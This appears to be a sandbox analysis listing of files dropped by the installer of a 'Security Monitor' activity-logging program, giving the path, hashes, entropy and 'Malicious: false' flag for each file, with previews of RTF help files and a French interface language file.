SHA-512:	2A220BD4DCE899F86CA79DB7F977362554CD80AB72BCC9EB24A28FA4D72B0F0A617655B76ACEEF6991273AA459CD1C7BF29FBB5EFE4C1E9C30CD900124E2BE81
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20359
Entropy (8bit):	4.977393911384311
Encrypted:	false
SSDEEP:	384:Ui/yM5JVBb8Mc2MfcwNx0TiTtGNleNglf8sj1AzDqqSo:UFGYD+icNleNhcIGqd
MD5:	3115ABE2CF8075BB08D1B7EA95180E7E
SHA1:	752F7833223EDB298E903C9731E78A3109E026D3
SHA-256:	156C2CDE62ABF6D9289B85054F707FA8777A722EC2DDBC0615544A216E633133
SHA-512:	C5DE077A294349896E2D846808806AF67B9E29E7EC1358B763A8F66381F839983A4ADE4C751A8A36C84EE20E8ADD1E5F869759000F527284F4312D9803617BC3
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Commencez"..tbStartHint="Activez le journal de bord"..tbStop="Arr.tez "..tbStopHint="D.sactivez le journal de bord"..tbFind="Trouvez"..tbFindHint="Recherchez des informations dans le journal de bord"..tbSetting="Param.tres"..tbSettingHint="Les param.tres du programme"..tbAbout=". propos"..tbAboutHint=". propos / informations de journal de bord"..tbHomePage="Page d'accueil"..tbHomePageHint="Allez . la page d'accueil du programme"..tbToday="Aujourd'hui"..tbTodayHint="Allez dans journal de bord d.aujourd'hui"..tbHide="Masquez"..tbHideHint="Le mode furtif (pas d'ic.ne dans la zone de notification)"..tbMinimize="Minimisez"..tbMinimizeHint="Minimisez au magasin"..tbExit="Quittez"..tbExitHint=" Quittez et arr.tez le jour

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44178
Entropy (8bit):	5.050546012194347
Encrypted:	false
SSDEEP:	768:Vk13ixj2HiBkyKWm+m2NjrOX/zJSYctuTZ4Y+2XrXZ3iE8f32HNzQf3IUBwkl2/j:VkeWY4TJ
MD5:	8C6D29E2A257F91393950B5369539D50
SHA1:	674B7489A1DDF7B46040AC571F3DACCEA00F0162
SHA-256:	9A4326ABEFF7FEABB451943D15DC7CDD41DB433BE2A450BFF0C024E0302C6BA2
SHA-512:	81E81D6E6920F9E3B5D601209CE5C79343EE95B4BED07C6788A30B8E48F337E8D73918291634E98644AA3BE96A6E171F9F610FD33EEDDB6B1D17DD9E1A25FA64
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 0204050305040603020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37414
Entropy (8bit):	5.037445111384111
Encrypted:	false
SSDEEP:	768:VkGN4JS0TaGC5X2kccMG+vK5j8kES638TFeq4Tf:VkHA4Tf
MD5:	EEF6FD9574018AB7519DF0FE47A51EAD
SHA1:	58D45358315413816630C67BC892C7B20B986589
SHA-256:	8B7C442F64A83CF255F5A9B2EC6A9152A697A4198033C1727A63F1CCCF340231
SHA-512:	90D71196AFFFCFA83AC1F0DF325B18FF8871D9B45934676BD7105D8FEBF2EAF15C6AB4E0ABB93FBAE9A160F3B6197102117E527A8FDE66BA50E7A2AE0A03493C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37144
Entropy (8bit):	5.0396581331661805
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XnvKT0+3HEXL6LhyXWx2jUvJq4TU:VkHHR4TU
MD5:	3EE19309BA4E122B381C9DFD89AC3E83
SHA1:	5B5AD1A494BFE593C8A74BED71A60BAA2F47AFC2
SHA-256:	2E73E1CC938915B084B13D3E93931B5FC5DB48ECBDDCB5D14B0684F919A18067
SHA-512:	B9ABFE6A3327565F79F2488CA67DD18D3053DDA2C5F7A52F0521F77942B69E7133EA88687E7EAAD73F53A7D6280A92A91A269DC8CBCEBF896D2D9C044073EB58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36715
Entropy (8bit):	5.031988851778873
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVDfpZMHDMI4ZlZ/6A9T:w4G3UnnIA9T
MD5:	3782483D6EE007A1D36CF22E4377E736
SHA1:	28407BF172DD8CE139D46271AA509A64AE3C96E4
SHA-256:	6E7E08A47C098030ADE2040BB9605B271619E9D57FB57BF9C2895710B64485A9
SHA-512:	7AC317D52EADCF7EE5C9B1244FAA030376953ECD7227F0735D8755BDE2F6E483DA6D8D629A8D978A16EF1969D94DBFBAF6342B3BFFAA58BF61B2874959A4E2A2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78397
Entropy (8bit):	4.994922160783421
Encrypted:	false
SSDEEP:	1536:w4ZCmyp6N8nvBnhv+yyW6OjFwLYbJcmTaIwIA9h:wAFjmuND
MD5:	52630AF15CE5E8DF4DFBAD1E2CECBDCC
SHA1:	7D5A3ED6E274227C05486B222C5B348A4489B96E
SHA-256:	08CBE91EB083B28FA50DBA66B6386FB3446958F27BD31B5EAD83824EE236D9D3
SHA-512:	43AAB356956B2C61E72CA87EF2AB966EB9BEB23B8A414B017DC6E2061A594556D696E705A346E442B6BE21C798D2720B61515C9ABE5A8582D6F6654829909893
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-1PO1U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	39446
Entropy (8bit):	5.027602531409886
Encrypted:	false
SSDEEP:	384:qY6g3X45Y8qb7PzybdKkjnxhVj+pmvhY3q2g4Qi6rGsoUwEAG2DaGa:qhg3WxhVCpm5cNZdU4a
MD5:	D0412C982483B1FF14AFA1B5C84956B2
SHA1:	1CBFDCC34F3DBFAC69E0DBC156B7A14A9E68F0FF
SHA-256:	BB09C2D2E43E921D0A42D1EB90AC5EB5639D85A5DFAECF38D36DC3B1D35DF9F8
SHA-512:	A1545A9E433401BB884D801D9FE76C37D8F00A68E9569A62873142446271FEF153A3B2770BA0F9FF11179DCEF03803ECD5CDC9DAA651FCF6036B36FD27556367
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang3082\deflangfe3082\themelang3082\themelangfe0\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fh

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-2DQMJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	5.035044653724291
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kwYp+CjcWkDxKWzHkp2Cj3DQS7RfUaMpQXtjfGKSMpoFbaq0r:VkHx/o6Ns4Tp
MD5:	A4B133AED3E483AD18F78E5A993333DC
SHA1:	0B90C31D5E00389329B841BC8AAE13DD5773A69B
SHA-256:	CAAC008A1495175A0AE18434537C0053B46D5289F3128800D689BC7FA4F92830
SHA-512:	A34192B8217C7352E3907976062BC5B3BAB5B6FDE2C9A8C885CA8DD8E48EE9A94226EBF6AE1E05371A051CF041E8C4DCB08957F257C5A349EFEF679A5059F8FF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-2KUMK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53715
Entropy (8bit):	5.038599976742919
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6V6ER4IE5RP9lIXsqJo6vjo4S:VkLjcv4TI
MD5:	6E82D6B3AAD2EAEC506AA8ABD4728C58
SHA1:	622141D986976DC0ADB2DB17698DBC082BE74674
SHA-256:	91A6F151A727086D36660F130446F70FE6115808C5E56FA36FC82A8CAE25A481
SHA-512:	B0C477686E7583EF9412912A72A7644F80D20EB8EF904E7B0A3F2F89D4B2DB0DD7FC9FDB61B4969787AAE3C931D1B15EA8BAE1BC07CE3D340F40CD3D182804A9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-5Q68O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37414
Entropy (8bit):	5.037445111384111
Encrypted:	false
SSDEEP:	768:VkGN4JS0TaGC5X2kccMG+vK5j8kES638TFeq4Tf:VkHA4Tf
MD5:	EEF6FD9574018AB7519DF0FE47A51EAD
SHA1:	58D45358315413816630C67BC892C7B20B986589
SHA-256:	8B7C442F64A83CF255F5A9B2EC6A9152A697A4198033C1727A63F1CCCF340231
SHA-512:	90D71196AFFFCFA83AC1F0DF325B18FF8871D9B45934676BD7105D8FEBF2EAF15C6AB4E0ABB93FBAE9A160F3B6197102117E527A8FDE66BA50E7A2AE0A03493C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-6OR2S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52940
Entropy (8bit):	4.975127205823685
Encrypted:	false
SSDEEP:	768:wqeaxjEJHT2njX8x3TLjwUtqYepAkVZEdvI9DhL8DqGJU4wEgmODwKEPrTDjwEaP:wql9hL8/44J0IA9H
MD5:	3F8E8B70614BCFC77C9E8A18E5B10EBF
SHA1:	1AAEB77F20B21A38684CDEDB73575D291C903060
SHA-256:	F55FBEE6CA1A13B8462150E411B63B84763DA220846DF944877DB2F3C617D8AC
SHA-512:	1C4262B5FB06626E41CF0CDD834F8A36007354934A07A24E4FF03BD6DBE45F4E8D52E06B4A08081E2AFEA8CCDD59E684ACF7241EC30B00AF526AB61A5F88ECAC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-7M1KR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68054
Entropy (8bit):	4.9836821536158835
Encrypted:	false
SSDEEP:	768:wqFy4Te+UJHT2njX8x3TLjwUtqYepAkVZEdvI9vT4H1qRKPN6K2ZREhe5Vu3bXrr:wqJ6IT4HQ++PUIA9pP
MD5:	A7279F7C4C7B0BCB8653144D541FAC2A
SHA1:	6B24410FF99110DB0A369E7CB73E990B799555F8
SHA-256:	CCFBF10B3E30471B234505F21E1929CA1388CD2959423E554A82E0EBF0946D21
SHA-512:	B7C36C86657AE567FD1BF553965F2A6739698A70B82B6A3E64121D056A1941BAD8A1BA867CB1D1B1D83AA7E42B7206786BC712CAD07E517DCB3A0B80F97F26FC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Tim

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-D5VGT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	42179
Entropy (8bit):	5.051623327565713
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmVQP9RTaC0n1azbtSqqjgq4Tt:VklnIVQPc4Tt
MD5:	5BF7705E104DAE21287D29BA6B73F990
SHA1:	68FE0FAEB83DD82163599C4A0C86A42EB0E1645F
SHA-256:	425E9788DA3299CCF2FE2E25AD8E4BF0EF65F22E2F10702C7EDA2FA6D160917A
SHA-512:	A3D6C652A8C362B22B5F4FE4879411C5468DAAE6ACB6A13DA947D14C8E483C83138DC18212E8D2A1D22656985A2AFED8373A7023B4C4D0BD3992EDBEA0D7875E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-DAFPP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44025
Entropy (8bit):	5.051099948351621
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoRWhsPVafhFuogRkPcStxSUeXeq4Ts:VklnIqi4Ts
MD5:	FCD907A82F0CC0B40AB352E6A1D330A9
SHA1:	AB3E2A7ED7791D51D6656A5A133A09CB87A98688
SHA-256:	20618AE093716DFFBF4B00CEBAADE7A5E33D628858BE3B81DD766343752CA2EF
SHA-512:	260890BB6352AE544AFA660DB1CF91CC1CDF5A2843F753F9291F1DB96E7B7E7E1BA10960E48A58F9B42CDD20CFE33C27A10A0A522A713EE8D95711A8ED31A307
Malicious:	false
Reputation:	unknown
